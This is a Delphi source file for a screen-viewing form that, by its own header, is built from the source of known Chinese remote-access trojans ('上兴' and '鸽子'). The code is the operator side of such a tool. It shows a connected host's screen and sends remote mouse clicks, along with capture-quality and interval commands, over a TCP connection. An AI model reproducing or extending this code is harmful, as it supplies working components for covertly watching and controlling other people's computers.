showpic.pas

参照上兴、鸽子等源码编写编写出来的。 编译环境：Delphi7+SP+DP+indy9等控件

unit ShowPic;

interface

uses
  windows,messages,SysUtils,Variants,Classes,Graphics,Controls,Forms,
  Dialogs,ExtCtrls,DynamicSkinForm,jpeg,Menus,SkinCtrls,SkinBoxCtrls,
  StdCtrls,Mask,Buttons,ToolWin,ComCtrls,SkinMenus,Gauges,IdTCPServer,IdGlobal,
  bsSkinCtrls;

type
  TShowPm=class(TForm)
    SaveDialog1:TSaveDialog;
    PopupMenu1:TspSkinPopupMenu;
    N1:TMenuItem;
    N2:TMenuItem;
    spDynamicSkinForm1: TspDynamicSkinForm;
    Panelbox: TspSkinPanel;
    ScrollBox1: TScrollBox;
    Image1: TImage;
    screen: TbsSkinPanel;
    Gauge1: TGauge;
    bsSkinCheckRadioBox1: TbsSkinCheckRadioBox;
    bsSkinButton2: TbsSkinButton;
    veryed: TspSkinTrackBar;
    spSkinLabel1: TspSkinLabel;
    spSkinLabel2: TspSkinLabel;
    interval: TspSkinTrackBar;

    procedure FormResize(Sender:TObject);
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
    procedure Image1MouseDown(Sender: TObject; Button: TMouseButton;
      Shift: TShiftState; X, Y: Integer);
    procedure FormDestroy(Sender: TObject);
    procedure bsSkinButton2Click(Sender: TObject);
    procedure veryedChange(Sender: TObject);
    procedure intervalChange(Sender: TObject);


  private
    { Private declarations }
    LastX:integer;
    LastY:integer;
    but:integer;
    NumClick:integer;

  public
    { Public declarations }

  end;

var
  ShowPm:TShowPm;
  stop:bool=true;
  single:bool=false;
  gif:bool=false;
implementation
uses unitmain,unitformcontrol;
{$R *.dfm}






procedure TShowPm.FormResize(Sender:TObject);
begin
  try
    Panelbox.Width:=ShowPm.Width;
  except
  end;
end;

procedure TShowPm.FormClose(Sender: TObject; var Action: TCloseAction);
begin
single:=false;
stop:=true;
gif:=false;
end;

procedure TShowPm.Image1MouseDown(Sender: TObject; Button: TMouseButton;
  Shift: TShiftState; X, Y: Integer);
var
  AThread: TIdPeerThread;
  AltoCap, AnchoCap: Integer;
begin
  AThread := TidPeerThread(FormMain.ListViewConexiones.Selected.SubItems.Objects[0]);
  if not AThread.Connection.Connected then
  begin
    MessageDlg('无连接主机!', mtWarning, [mbok], 0);
    exit;
  end;

  if bsSkinCheckRadioBox1.Checked then
  begin
    AnchoCap := image1.Picture.Width;
    AltoCap := image1.Picture.Height;
    X := (X * AnchoCap) div image1.Width; //Una regla de tres
    Y := (Y * AltoCap) div image1.Height;
    if button = mbLeft  then
      AThread.Connection.Writeln('MOUSEP'+IntToStr(X)+ '|' + IntToStr(y)+'|'+'CLICKIZQ'+'|')
    else if button = mbRight then
      AThread.Connection.Writeln('MOUSEP'+IntToStr(X)+ '|' + IntToStr(y)+'|'+'CLICKDER'+'|');
  end;
end;

procedure TShowPm.FormDestroy(Sender: TObject);
begin
  single:=false;
  stop:=true;
  gif:=false;
end;

procedure TShowPm.bsSkinButton2Click(Sender: TObject);
begin
  stop:=true;
  gif:=false;
end;

procedure TShowPm.veryedChange(Sender: TObject);
var
  AThread: TIdPeerThread;
begin
  AThread := TidPeerThread(FormMain.ListViewConexiones.Selected.SubItems.Objects[0]);
  if not AThread.Connection.Connected then
  begin
    MessageDlg('无连接主机!', mtWarning, [mbok], 0);
    exit;
  end;
  sleep(1500);
    if gif then  EXIT;
  AThread.Connection.Writeln('SETPIX|' + IntToStr(veryed.value));
end;



procedure TShowPm.intervalChange(Sender: TObject);
var
  AThread: TIdPeerThread;
begin
  AThread := TidPeerThread(FormMain.ListViewConexiones.Selected.SubItems.Objects[0]);
  if not AThread.Connection.Connected then
  begin
    MessageDlg('无连接主机!', mtWarning, [mbok], 0);
    exit;
  end;
    sleep(1500);
  AThread.Connection.Writeln('INTERVAL|' + IntToStr(interval.value));
end;
end.